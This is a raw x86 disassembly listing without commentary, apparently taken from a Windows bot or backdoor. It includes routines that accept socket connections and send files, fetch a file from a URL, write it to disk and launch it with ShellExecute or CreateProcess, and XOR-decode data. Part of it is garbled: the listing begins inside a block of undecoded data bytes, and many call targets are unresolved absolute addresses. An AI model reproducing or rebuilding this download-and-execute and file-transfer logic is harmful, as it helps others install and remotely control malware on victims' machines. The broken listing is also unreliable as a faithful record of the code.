		dd 0FFFF561Dh, 0E8905659h, 22D9F4Ch, 60E8646Ah,	900226A4h
		dd 0BEFF33h, 56000010h,	0EE4C858Dh, 5057FFFFh, 5C3FE8h
		dd 0CC48300h, 0EE4C858Dh, 5657FFFFh, 15FF5350h,	4C931Ch
		dd 387EC085h, 0EE4C858Dh, 8468FFFFh, 500042A0h,	6537E8h
		dd 4C858D00h, 50FFFFEEh, 3E39E8h, 0CC48300h, 1474C085h
		dd 0E890646Ah, 226A407h, 0DAE80A6Ah, 85FFFF54h,	0A37559C0h
		dd 0EE4C858Dh, 0B068FFFFh, 50004377h, 5ED5E8h, 0F87D3900h
		dd 1B755959h, 4C858D57h, 0FFFFFFEEh, 8D50F475h,	0FFFF6C85h
		dd 0E85350FFh, 0FFFF3712h, 8D14C483h, 0FFEE4C85h, 8FE850FFh
		dd 59FFFFFBh, 9C15FF53h, 0FF004C93h, 5AE8F075h,	59FFFF55h
		dd 89E89057h
		db 9Eh,	2Dh, 2
; ---------------------------------------------------------------------------


loc_416177:				; DATA XREF: sub_401AC7+76ABo
		push	ebp
		mov	ebp, esp
		sub	esp, 0A04h
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		push	6Dh
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp-1FCh]
		rep movsd
		push	1
		xor	esi, esi
		pop	ebx
		mov	[ebp-10h], esi
		push	esi
		push	ebx
		push	2
		mov	[eax+1B0h], ebx
		mov	[ebp-0Ch], esi
		mov	[ebp-20h], esi
		call	dword_4C9384
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp-18h], edi
		jnz	short loc_4161C5
		push	offset unk_437914
		jmp	loc_41637E
; ---------------------------------------------------------------------------


loc_4161C5:				; CODE XREF: ___:004161B9j
		push	10h
		lea	eax, [ebp-30h]
		push	esi
		push	eax
		call	sub_41BD10
		add	esp, 0Ch
		mov	word ptr [ebp-30h], 2
		push	esi
		call	dword_4C9304
		mov	[ebp-2Eh], ax
		lea	eax, [ebp-30h]
		push	10h
		push	eax
		push	edi
		mov	[ebp-2Ch], esi
		call	dword_4C9330
		test	eax, eax
		jz	short loc_416203
		push	offset unk_4378F0
		jmp	loc_41637E
; ---------------------------------------------------------------------------


loc_416203:				; CODE XREF: ___:004161F7j
		lea	eax, [ebp-1Ch]
		mov	dword ptr [ebp-1Ch], 10h
		push	eax
		lea	eax, [ebp-30h]
		push	eax
		push	edi
		call	dword_4C92A8
		push	dword ptr [ebp-2Eh]
		call	dword_4C9234
		mov	[ebp-4], eax
		lea	eax, [ebp-1E0h]
		push	eax
		mov	[ebp+8], esi
		call	sub_41B960
		pop	ecx


loc_416235:				; CODE XREF: ___:00416266j
		mov	ecx, [ebp+8]
		mov	al, [ebp+ecx-1E0h]
		cmp	al, 20h
		jnz	short loc_416248
		push	5Fh
		pop	eax
		jmp	short loc_41624B
; ---------------------------------------------------------------------------


loc_416248:				; CODE XREF: ___:00416241j
		movsx	eax, al


loc_41624B:				; CODE XREF: ___:00416246j
		mov	[ebp+ecx-604h],	al
		lea	eax, [ebp-1E0h]
		inc	ecx
		push	eax
		mov	[ebp+8], ecx
		call	sub_41B960
		cmp	[ebp+8], eax
		pop	ecx
		jbe	short loc_416235
		push	ebx
		push	edi
		call	dword_4C932C
		test	eax, eax
		jz	short loc_41627E
		push	offset unk_437814
		jmp	loc_41637E
; ---------------------------------------------------------------------------


loc_41627E:				; CODE XREF: ___:00416272j
		push	esi
		push	esi
		push	3
		push	esi
		push	ebx
		lea	eax, [ebp-1E0h]
		push	80000000h
		push	eax
		nop
		call	near ptr 27306D8h
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-8], eax
		jnz	short loc_4162A8
		push	offset unk_4378D0
		jmp	loc_41637E
; ---------------------------------------------------------------------------


loc_4162A8:				; CODE XREF: ___:0041629Cj
		push	esi
		push	eax
		nop
		call	near ptr 2760AD0h
		mov	[ebp+8], eax
		push	eax
		movzx	eax, word ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-1FCh]
		call	sub_40A9FA
		pop	ecx
		push	eax
		call	dword_4C9344
		push	eax
		call	dword_4C9300
		push	eax
		lea	eax, [ebp-1E0h]
		push	eax
		lea	eax, [ebp-3FCh]
		push	offset dword_4378B8
		push	eax
		call	sub_41C006
		push	esi
		lea	eax, [ebp-3FCh]
		push	esi
		push	eax
		lea	eax, [ebp-0DCh]
		push	eax
		push	dword ptr [ebp-1FCh]
		call	sub_409862
		add	esp, 2Ch
		lea	eax, [ebp-38h]
		mov	dword ptr [ebp-38h], 3Ch
		mov	[ebp-34h], esi
		push	eax
		push	esi
		lea	eax, [ebp-500h]
		push	esi
		push	eax
		push	esi
		mov	[ebp-4FCh], edi
		mov	[ebp-500h], ebx
		call	dword_4C92EC
		test	eax, eax
		jg	short loc_416358
		push	esi
		lea	eax, [ebp-0DCh]
		push	dword ptr [ebp-54h]
		push	offset dword_4378A0
		push	eax
		push	dword ptr [ebp-1FCh]
		call	sub_409862
		jmp	loc_41647C
; ---------------------------------------------------------------------------


loc_416358:				; CODE XREF: ___:00416336j
		lea	eax, [ebp-14h]
		mov	dword ptr [ebp-14h], 10h
		push	eax
		lea	eax, [ebp-48h]
		push	eax
		push	edi
		call	dword_4C9398
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-1F8h], eax
		jnz	short loc_416391
		push	offset unk_43787C


loc_41637E:				; CODE XREF: ___:004161C0j
					; ___:004161FEj ...
		lea	eax, [ebp-3FCh]
		push	eax
		call	sub_41C006
		pop	ecx
		pop	ecx
		jmp	loc_41647F
; ---------------------------------------------------------------------------


loc_416391:				; CODE XREF: ___:00416377j
		push	edi
		call	dword_4C939C
		cmp	[ebp+8], esi
		jz	loc_416443
		mov	edi, 400h


loc_4163A6:				; CODE XREF: ___:0041643Aj
		mov	eax, [ebp+8]
		mov	[ebp-4], edi
		cmp	eax, edi
		jge	short loc_4163B3
		mov	[ebp-4], eax


loc_4163B3:				; CODE XREF: ___:004163AEj
		push	edi
		lea	eax, [ebp-0A04h]
		push	esi
		push	eax
		call	sub_41BD10
		mov	eax, [ebp+8]
		add	esp, 0Ch
		neg	eax
		push	2
		push	esi
		push	eax
		push	dword ptr [ebp-8]
		nop
		call	near ptr 2791104h
		lea	eax, [ebp-20h]
		push	esi
		push	eax
		lea	eax, [ebp-0A04h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-8]
		nop
		call	near ptr 2710000h
		push	esi
		lea	eax, [ebp-0A04h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-1F8h]
		call	dword_4C9354
		mov	[ebp-4], eax
		push	esi
		cdq
		add	[ebp-10h], eax
		lea	eax, [ebp-0A04h]
		push	edi
		push	eax
		push	dword ptr [ebp-1F8h]
		adc	[ebp-0Ch], edx
		call	dword_4C931C
		cmp	eax, ebx
		jl	loc_4164D8
		mov	eax, [ebp-4]
		cmp	eax, ebx
		jl	loc_4164D8
		sub	[ebp+8], eax
		jnz	loc_4163A6
		mov	edi, [ebp-18h]


loc_416443:				; CODE XREF: ___:0041639Bj
		push	dword ptr [ebp-8]
		nop
		call	near ptr 2660000h
		push	dword ptr [ebp-0Ch]
		push	dword ptr [ebp-10h]
		call	sub_416C7D
		pop	ecx
		pop	ecx
		push	eax
		push	dword ptr [ebp-44h]
		call	dword_4C9390
		push	eax
		lea	eax, [ebp-1E0h]
		push	eax
		lea	eax, [ebp-3FCh]
		push	offset unk_437850
		push	eax
		call	sub_41C006


loc_41647C:				; CODE XREF: ___:00416353j
		add	esp, 14h


loc_41647F:				; CODE XREF: ___:0041638Cj
		cmp	[ebp-50h], esi
		jnz	short loc_4164A4
		push	esi
		lea	eax, [ebp-3FCh]
		push	dword ptr [ebp-54h]
		push	eax
		lea	eax, [ebp-0DCh]
		push	eax
		push	dword ptr [ebp-1FCh]
		call	sub_409862
		add	esp, 14h


loc_4164A4:				; CODE XREF: ___:00416482j
		lea	eax, [ebp-3FCh]
		push	eax
		call	sub_415CEE
		cmp	edi, esi
		pop	ecx
		jbe	short loc_4164BC
		push	edi
		call	dword_4C939C


loc_4164BC:				; CODE XREF: ___:004164B3j
		push	dword ptr [ebp-1F8h]
		call	dword_4C939C
		push	dword ptr [ebp-58h]
		call	sub_40B6C9
		pop	ecx
		push	esi
		nop
		call	near ptr 26F0000h


loc_4164D8:				; CODE XREF: ___:00416426j
					; ___:00416431j
		push	esi
		mov	esi, offset dword_437838
		push	dword ptr [ebp-54h]
		lea	eax, [ebp-0DCh]
		push	esi
		push	eax
		push	dword ptr [ebp-1FCh]
		call	sub_409862
		push	esi
		call	sub_415CEE
		add	esp, 18h
		push	dword ptr [ebp-1F8h]
		call	dword_4C939C
		push	dword ptr [ebp-58h]
		call	sub_40B6C9
		pop	ecx
		push	ebx
		nop
		call	near ptr 26F0000h


loc_416519:				; DATA XREF: sub_401AC7+78Fo
		push	ebp
		mov	ebp, esp
		mov	eax, 14C4h
		call	sub_41C2A0
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		push	6Dh
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp-1C0h]
		rep movsd
		push	1
		xor	ebx, ebx
		pop	esi
		mov	[ebp-8], ebx
		mov	[eax+1B0h], esi
		lea	eax, [ebp-2C4h]
		push	104h
		push	eax
		nop
		call	near ptr 2680000h
		lea	eax, [ebp-1A4h]
		push	eax
		lea	eax, [ebp-2C4h]
		push	eax
		lea	eax, [ebp-2C4h]
		push	offset dword_429ACC
		push	eax
		call	sub_41C006
		add	esp, 10h
		lea	eax, [ebp-2C4h]
		push	ebx
		push	80h
		push	2
		push	ebx
		push	esi
		push	40000000h
		push	eax
		call	near ptr 27306D8h
		nop
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4165A3
		push	offset unk_4379B4
		jmp	short loc_4165E9
; ---------------------------------------------------------------------------


loc_4165A3:				; CODE XREF: ___:0041659Aj
		push	eax
		nop
		call	near ptr 2660000h
		lea	eax, [ebp-2C4h]
		push	offset aAB	; "a+b"
		push	eax
		call	sub_41BC88
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp-4], eax
		jnz	short loc_4165CB
		push	offset unk_437984
		jmp	short loc_4165E9
; ---------------------------------------------------------------------------


loc_4165CB:				; CODE XREF: ___:004165C2j
		push	dword ptr [ebp-20h]
		lea	eax, [ebp-1B8h]
		push	eax
		call	sub_415F30
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		mov	[ebp+8], eax
		jnz	short loc_4165FC
		push	offset unk_437964


loc_4165E9:				; CODE XREF: ___:004165A1j
					; ___:004165C9j
		lea	eax, [ebp-4C4h]
		push	eax
		call	sub_41C006
		pop	ecx
		pop	ecx
		jmp	loc_4166F6
; ---------------------------------------------------------------------------


loc_4165FC:				; CODE XREF: ___:004165E2j
		mov	esi, 1000h


loc_416601:				; CODE XREF: ___:00416667j
		push	esi
		lea	eax, [ebp-14C4h]
		push	ebx
		push	eax
		call	sub_41BD10
		add	esp, 0Ch
		lea	eax, [ebp-14C4h]
		push	ebx
		push	esi
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4C931C
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_4166C8
		cmp	edi, 0FFFFFFFFh
		jz	short loc_416669
		push	dword ptr [ebp-4]
		lea	eax, [ebp-14C4h]
		push	edi
		push	1
		push	eax
		call	sub_41DA54
		add	[ebp-8], edi
		add	esp, 10h
		push	dword ptr [ebp-8]
		call	dword_4C9300
		mov	[ebp-0Ch], eax
		push	ebx
		lea	eax, [ebp-0Ch]
		push	4
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4C9354
		jmp	short loc_416601
; ---------------------------------------------------------------------------


loc_416669:				; CODE XREF: ___:00416631j
		lea	eax, [ebp-4C4h]
		push	offset dword_437838
		push	eax
		call	sub_41C006
		push	ebx
		lea	eax, [ebp-4C4h]
		push	dword ptr [ebp-18h]
		push	eax
		lea	eax, [ebp-0A0h]
		push	eax
		push	dword ptr [ebp-1C0h]
		call	sub_409862
		lea	eax, [ebp-4C4h]
		push	eax
		call	sub_415CEE
		push	dword ptr [ebp-4]
		call	sub_41B9DB
		add	esp, 24h
		push	dword ptr [ebp+8]
		call	dword_4C939C
		push	dword ptr [ebp-1Ch]
		call	sub_40B6C9
		pop	ecx
		push	1
		nop
		call	near ptr 26F0000h


loc_4166C8:				; CODE XREF: ___:00416628j
		mov	eax, [ebp-8]
		cdq
		push	edx
		push	eax
		call	sub_416C7D
		push	eax
		lea	eax, [ebp-1B8h]
		push	eax
		lea	eax, [ebp-1A4h]
		push	eax
		lea	eax, [ebp-4C4h]
		push	offset unk_437938
		push	eax
		call	sub_41C006
		add	esp, 1Ch


loc_4166F6:				; CODE XREF: ___:004165F7j
		cmp	[ebp-14h], ebx
		jnz	short loc_41671B
		push	ebx
		lea	eax, [ebp-4C4h]
		push	dword ptr [ebp-18h]
		push	eax
		lea	eax, [ebp-0A0h]
		push	eax
		push	dword ptr [ebp-1C0h]
		call	sub_409862
		add	esp, 14h


loc_41671B:				; CODE XREF: ___:004166F9j
		lea	eax, [ebp-4C4h]
		push	eax
		call	sub_415CEE
		cmp	[ebp-4], ebx
		pop	ecx
		jz	short loc_416736
		push	dword ptr [ebp-4]
		call	sub_41B9DB
		pop	ecx


loc_416736:				; CODE XREF: ___:0041672Bj
		cmp	[ebp+8], ebx
		jbe	short loc_416744
		push	dword ptr [ebp+8]
		call	dword_4C939C


loc_416744:				; CODE XREF: ___:00416739j
		push	dword ptr [ebp-1Ch]
		call	sub_40B6C9
		pop	ecx
		push	ebx
		call	near ptr 26F0000h
		nop


loc_416754:				; DATA XREF: sub_401AC7+61D9o
					; sub_401AC7+6A07o
		push	ebp
		mov	ebp, esp
		sub	esp, 510h
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0AAh
		mov	esi, eax
		lea	edi, [ebp-2CCh]
		push	1
		rep movsd
		pop	edi
		xor	esi, esi
		push	esi
		mov	[eax+2A4h], edi
		push	esi
		push	esi
		lea	eax, [ebp-248h]
		push	esi
		push	eax
		push	dword_4C92B4
		call	dword_4C9208
		cmp	eax, esi
		mov	[ebp-18h], eax
		jz	loc_416BE0
		push	esi
		push	esi
		push	2
		push	esi
		push	esi
		lea	eax, [ebp-148h]
		push	40000000h
		push	eax
		nop
		call	near ptr 27306D8h
		cmp	eax, edi
		mov	[ebp-20h], eax
		jnb	short loc_41681B
		lea	eax, [ebp-148h]
		push	eax
		lea	eax, [ebp-510h]
		push	offset unk_437B80
		push	eax
		call	sub_41C006
		add	esp, 0Ch
		cmp	[ebp-30h], esi
		jnz	short loc_4167FE
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_409862
		add	esp, 14h


loc_4167FE:				; CODE XREF: ___:004167DCj
		lea	eax, [ebp-510h]
		push	eax
		call	sub_415CEE
		push	dword ptr [ebp-48h]
		call	sub_40B6C9
		pop	ecx
		pop	ecx
		push	esi
		nop
		call	near ptr 26F0000h


loc_41681B:				; CODE XREF: ___:004167BCj
		xor	edi, edi
		nop
		call	near ptr 26A0729h
		mov	ebx, 7D000h
		mov	[ebp-4], eax
		push	ebx
		call	sub_41BC9B
		pop	ecx
		mov	[ebp-1Ch], eax


loc_416835:				; CODE XREF: ___:00416908j
		push	200h
		lea	eax, [ebp-510h]
		push	esi
		push	eax
		call	sub_41BD10
		add	esp, 0Ch
		lea	eax, [ebp+8]
		push	eax
		lea	eax, [ebp-510h]
		push	200h
		push	eax
		push	dword ptr [ebp-18h]
		call	dword_4C9210
		cmp	[ebp-34h], esi
		jz	short loc_416879
		push	dword ptr [ebp+8]
		lea	eax, [ebp-510h]
		push	eax
		call	sub_416C46
		pop	ecx
		pop	ecx


loc_416879:				; CODE XREF: ___:00416866j
		lea	eax, [ebp-24h]
		push	esi
		push	eax
		lea	eax, [ebp-510h]
		push	dword ptr [ebp+8]
		push	eax
		push	dword ptr [ebp-20h]
		call	near ptr 2720000h
		nop
		cmp	edi, ebx
		jnb	short loc_4168B7
		mov	eax, ebx
		sub	eax, edi
		cmp	eax, [ebp+8]
		jbe	short loc_4168A1
		mov	eax, [ebp+8]


loc_4168A1:				; CODE XREF: ___:0041689Cj
		push	eax
		lea	eax, [ebp-510h]
		push	eax
		mov	eax, [ebp-1Ch]
		add	eax, edi
		push	eax
		call	sub_41CAB0
		add	esp, 0Ch


loc_4168B7:				; CODE XREF: ___:00416893j
		add	edi, [ebp+8]
		cmp	[ebp-3Ch], esi
		jz	short loc_4168C4
		cmp	edi, [ebp-3Ch]
		ja	short loc_41690E


loc_4168C4:				; CODE XREF: ___:004168BDj
		cmp	dword ptr [ebp-44h], 1
		mov	eax, edi
		jz	short loc_4168DE
		shr	eax, 0Ah
		push	eax
		lea	eax, [ebp-248h]
		push	eax
		push	offset unk_437B58
		jmp	short loc_4168EE
; ---------------------------------------------------------------------------


loc_4168DE:				; CODE XREF: ___:004168CAj
		shr	eax, 0Ah
		push	eax
		lea	eax, [ebp-248h]
		push	eax
		push	offset unk_437B30


loc_4168EE:				; CODE XREF: ___:004168DCj
		mov	eax, [ebp-48h]
		imul	eax, 234h
		add	eax, offset dword_43C040
		push	eax
		call	sub_41C006
		add	esp, 10h
		cmp	[ebp+8], esi
		ja	loc_416835


loc_41690E:				; CODE XREF: ___:004168C2j
		cmp	[ebp-3Ch], esi
		mov	dword ptr [ebp-14h], 1
		jz	short loc_416963
		cmp	edi, [ebp-3Ch]
		jz	short loc_416963
		push	dword ptr [ebp-3Ch]
		lea	eax, [ebp-510h]
		mov	[ebp-14h], esi
		push	edi
		push	offset unk_437B04
		push	eax
		call	sub_41C006
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_409862
		lea	eax, [ebp-510h]
		push	eax
		call	sub_415CEE
		add	esp, 28h


loc_416963:				; CODE XREF: ___:00416918j
					; ___:0041691Dj
		nop
		call	near ptr 26A0729h
		sub	eax, [ebp-4]
		xor	edx, edx
		mov	ecx, 3E8h
		push	dword ptr [ebp-20h]
		div	ecx
		xor	edx, edx
		mov	ecx, eax
		mov	eax, edi
		inc	ecx
		div	ecx
		mov	ebx, eax
		call	near ptr 2660000h
		nop
		push	dword ptr [ebp-1Ch]
		call	sub_41BA31
		cmp	[ebp-38h], esi
		pop	ecx
		jz	short loc_4169ED
		lea	eax, [ebp-148h]
		push	eax
		call	sub_4010AB
		cmp	eax, [ebp-38h]
		pop	ecx
		jz	short loc_4169ED
		push	dword ptr [ebp-38h]
		mov	[ebp-14h], esi
		push	eax
		lea	eax, [ebp-510h]
		push	offset unk_437ADC
		push	eax
		call	sub_41C006
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_409862
		lea	eax, [ebp-510h]
		push	eax
		call	sub_415CEE
		add	esp, 28h


loc_4169ED:				; CODE XREF: ___:00416995j
					; ___:004169A7j
		cmp	[ebp-14h], esi
		jz	loc_416C2D
		cmp	dword ptr [ebp-44h], 1
		jz	loc_416AE8
		mov	[ebp-8], ebx
		mov	[ebp-4], esi
		fild	qword ptr [ebp-8]
		push	ecx
		push	ecx
		mov	[ebp-8], edi
		mov	[ebp-4], esi
		fmul	dbl_4276A8
		lea	eax, [ebp-148h]
		fstp	qword ptr [esp]
		fild	qword ptr [ebp-8]
		push	eax
		push	ecx
		push	ecx
		lea	eax, [ebp-510h]
		fmul	dbl_4276A8
		fstp	qword ptr [esp]
		push	offset unk_437AA4
		push	eax
		call	sub_41C006
		add	esp, 1Ch
		cmp	[ebp-30h], esi
		jnz	short loc_416A68
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_409862
		add	esp, 14h


loc_416A68:				; CODE XREF: ___:00416A46j
		lea	eax, [ebp-510h]
		push	eax
		call	sub_415CEE
		cmp	dword ptr [ebp-40h], 1
		pop	ecx
		jnz	loc_416C2D
		push	5
		push	esi
		lea	eax, [ebp-148h]
		push	esi
		push	eax
		push	offset aOpen	; "open"
		push	esi
		call	dword_4C9270
		cmp	[ebp-30h], esi
		jnz	loc_416C2D
		lea	eax, [ebp-148h]
		push	eax
		lea	eax, [ebp-510h]
		push	offset dword_437A88
		push	eax
		call	sub_41C006
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_409862
		lea	eax, [ebp-510h]
		push	eax
		call	sub_415CEE
		add	esp, 24h
		jmp	loc_416C2D
; ---------------------------------------------------------------------------


loc_416AE8:				; CODE XREF: ___:004169FAj
		mov	[ebp-8], ebx
		mov	[ebp-4], esi
		fild	qword ptr [ebp-8]
		push	ecx
		push	ecx
		mov	[ebp-8], edi
		mov	[ebp-4], esi
		fmul	dbl_4276A8
		lea	eax, [ebp-148h]
		fstp	qword ptr [esp]
		fild	qword ptr [ebp-8]
		push	eax
		push	ecx
		push	ecx
		lea	eax, [ebp-510h]
		fmul	dbl_4276A8
		fstp	qword ptr [esp]
		push	offset unk_437A44
		push	eax
		call	sub_41C006
		add	esp, 1Ch
		cmp	[ebp-30h], esi
		jnz	short loc_416B50
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_409862
		add	esp, 14h


loc_416B50:				; CODE XREF: ___:00416B2Ej
		lea	eax, [ebp-510h]
		push	eax
		call	sub_415CEE
		push	10h
		lea	eax, [ebp-10h]
		push	esi
		push	eax
		call	sub_41BD10
		push	44h
		lea	eax, [ebp-310h]
		pop	edi
		push	edi
		push	esi
		push	eax
		call	sub_41BD10
		add	esp, 1Ch
		mov	[ebp-310h], edi
		lea	eax, [ebp-10h]
		mov	dword ptr [ebp-304h], offset byte_43B4B8
		push	1
		mov	[ebp-2E0h], si
		pop	edi
		push	eax
		lea	eax, [ebp-310h]
		push	eax
		push	esi
		push	esi
		push	28h
		push	esi
		push	esi
		lea	eax, [ebp-148h]
		push	esi
		push	eax
		push	esi
		mov	[ebp-2E4h], edi
		nop
		call	near ptr 26603BDh
		cmp	eax, edi
		jnz	short loc_416BD2
		call	dword_4C925C
		call	sub_418857
		push	esi
		nop
		call	near ptr 77E75CB5h


loc_416BD2:				; CODE XREF: ___:00416BBEj
		lea	eax, [ebp-148h]
		push	eax
		push	offset unk_437A10
		jmp	short loc_416BEC
; ---------------------------------------------------------------------------


loc_416BE0:				; CODE XREF: ___:00416799j
		lea	eax, [ebp-248h]
		push	eax
		push	offset unk_4379E4


loc_416BEC:				; CODE XREF: ___:00416BDEj
		lea	eax, [ebp-510h]
		push	eax
		call	sub_41C006
		add	esp, 0Ch
		cmp	[ebp-30h], esi
		jnz	short loc_416C20
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_409862
		add	esp, 14h


loc_416C20:				; CODE XREF: ___:00416BFEj
		lea	eax, [ebp-510h]
		push	eax
		call	sub_415CEE
		pop	ecx


loc_416C2D:				; CODE XREF: ___:004169F0j
					; ___:00416A79j ...
		push	dword ptr [ebp-18h]
		call	dword_4C9338
		push	dword ptr [ebp-48h]
		call	sub_40B6C9
		pop	ecx
		push	esi
		call	near ptr 26F0000h
		nop

; =============== S U B	R O U T	I N E =======================================



sub_416C46	proc near		; CODE XREF: ___:00416872p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		xor	ecx, ecx
		cmp	[esp+arg_4], ecx
		jle	short locret_416C62


loc_416C52:				; CODE XREF: sub_416C46+1Aj
		mov	dl, byte_429090
		xor	[ecx+eax], dl
		inc	ecx
		cmp	ecx, [esp+arg_4]
		jl	short loc_416C52

locret_416C62:				; CODE XREF: sub_416C46+Aj
		retn
sub_416C46	endp


; =============== S U B	R O U T	I N E =======================================



sub_416C63	proc near		; CODE XREF: sub_401AC7+57AEp
					; sub_401AC7+58E0p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_41DB5E
		pop	ecx
		pop	ecx
		xor	ecx, ecx
		cmp	eax, 0FFFFFFFFh
		setnz	cl
		mov	eax, ecx
		retn
sub_416C63	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416C7D	proc near		; CODE XREF: sub_410330+45Dp
					; sub_410330+5F9p ...

var_38		= byte ptr -38h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 38h
		and	[ebp+var_4], 0
		push	ebx
		push	esi
		push	edi
		push	32h
		mov	edi, offset dword_4D0F38
		push	0
		push	edi
		call	sub_41BD10
		mov	ebx, [ebp+arg_0]
		add	esp, 0Ch
		lea	esi, [ebp+var_38]


loc_416CA2:				; CODE XREF: sub_416C7D+5Bj
					; sub_416C7D+61j
		push	0
		push	0Ah
		push	[ebp+arg_4]
		push	ebx
		call	sub_41DC20
		push	0
		push	0Ah
		push	[ebp+arg_4]
		add	al, 30h
		mov	[esi], al
		inc	esi
		push	ebx
		call	sub_41DBB0
		mov	ebx, eax
		or	eax, edx
		mov	[ebp+arg_4], edx
		jz	short loc_416CE0
		inc	[ebp+var_4]
		push	3
		mov	eax, [ebp+var_4]
		pop	ecx
		cdq
		idiv	ecx
		test	edx, edx
		jnz	short loc_416CA2
		mov	byte ptr [esi],	2Ch
		inc	esi
		jmp	short loc_416CA2
; ---------------------------------------------------------------------------


loc_416CE0:				; CODE XREF: sub_416C7D+4Bj
		dec	esi
		mov	eax, edi


loc_416CE3:				; CODE XREF: sub_416C7D+73j
		lea	ecx, [ebp+var_38]
		cmp	esi, ecx
		jb	short loc_416CF2
		mov	cl, [esi]
		mov	[eax], cl
		inc	eax
		dec	esi
		jmp	short loc_416CE3
; ---------------------------------------------------------------------------


loc_416CF2:				; CODE XREF: sub_416C7D+6Bj
		and	byte ptr [eax],	0
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_416C7D	endp


; =============== S U B	R O U T	I N E =======================================



sub_416CFC	proc near		; CODE XREF: sub_416EA8+51p
					; sub_416EA8+87p

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	dword_4C9364
		sub	eax, 0
		jz	short loc_416D3F
		dec	eax
		jz	short loc_416D39
		dec	eax
		dec	eax
		jz	short loc_416D33
		dec	eax
		jz	short loc_416D2D
		dec	eax
		jz	short loc_416D27
		dec	eax
		jz	short loc_416D21
		mov	eax, offset word_437BD4
		retn
; ---------------------------------------------------------------------------


loc_416D21:				; CODE XREF: sub_416CFC+1Dj
		mov	eax, offset off_437BD0
		retn
; ---------------------------------------------------------------------------


loc_416D27:				; CODE XREF: sub_416CFC+1Aj
		mov	eax, offset aCdrom ; "Cdrom"
		retn
; ---------------------------------------------------------------------------


loc_416D2D:				; CODE XREF: sub_416CFC+17j
		mov	eax, offset aNetwork ; "Network"
		retn
; ---------------------------------------------------------------------------


loc_416D33:				; CODE XREF: sub_416CFC+14j
		mov	eax, offset aDisk ; "Disk"
		retn
; ---------------------------------------------------------------------------


loc_416D39:				; CODE XREF: sub_416CFC+10j
		mov	eax, offset aInvalid ; "Invalid"
		retn
; ---------------------------------------------------------------------------


loc_416D3F:				; CODE XREF: sub_416CFC+Dj
		mov	eax, offset aUnknown ; "Unknown"
		retn
sub_416CFC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416D45	proc near		; CODE XREF: sub_416D8D+12p

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		or	eax, 0FFFFFFFFh
		mov	[ebp+var_18], eax
		mov	[ebp+var_14], eax
		mov	[ebp+var_10], eax
		mov	[ebp+var_C], eax
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], eax
		mov	eax, dword_4C91F4
		test	eax, eax
		jz	short loc_416D7A
		lea	ecx, [ebp+var_10]
		push	ecx
		lea	ecx, [ebp+var_8]
		push	ecx
		lea	ecx, [ebp+var_18]
		push	ecx
		push	[ebp+arg_4]
		call	eax


loc_416D7A:				; CODE XREF: sub_416D45+22j
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	6
		pop	ecx
		lea	esi, [ebp+var_18]
		mov	edi, eax
		rep movsd
		pop	edi
		pop	esi
		leave
		retn
sub_416D45	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416D8D	proc near		; CODE XREF: sub_416EA8+17p
					; sub_41AF2B+1F3p

var_198		= byte ptr -198h
var_118		= byte ptr -118h
var_98		= byte ptr -98h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

